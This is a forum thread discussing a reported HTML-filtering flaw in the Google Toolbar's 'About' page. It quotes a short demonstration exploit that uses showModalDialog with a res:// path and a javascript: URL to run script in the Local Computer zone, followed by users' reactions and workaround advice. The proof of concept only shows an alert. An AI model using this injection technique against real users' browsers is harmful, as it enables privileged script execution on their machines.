Careful, exploit for google toolbar is out
 

A remote user can execute arbitrary scripting code in the Local Computer security zone.

It is reported that the 'About' section of the Google Toolbar does not properly filter HTML code. A remote user can create HTML that, when loaded by the target user, will invoke the About page and execute arbitrary scripting code in the context of the page.

A demonstration exploit is provided:

<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>

oh, shit

so should i bust a cap in my googlebar or what?

are they planning to offer an update/patch ala microsoft?

very smart to post an example code

nothing happens

Use Firefox and if you want to see pageranks, install the extension below. Takes up a lot less space than google's toolbar.

Google Pagerank extension:

just disable it when your going to "questionable" sites. No word from google on an update but knowing them it won't take long.
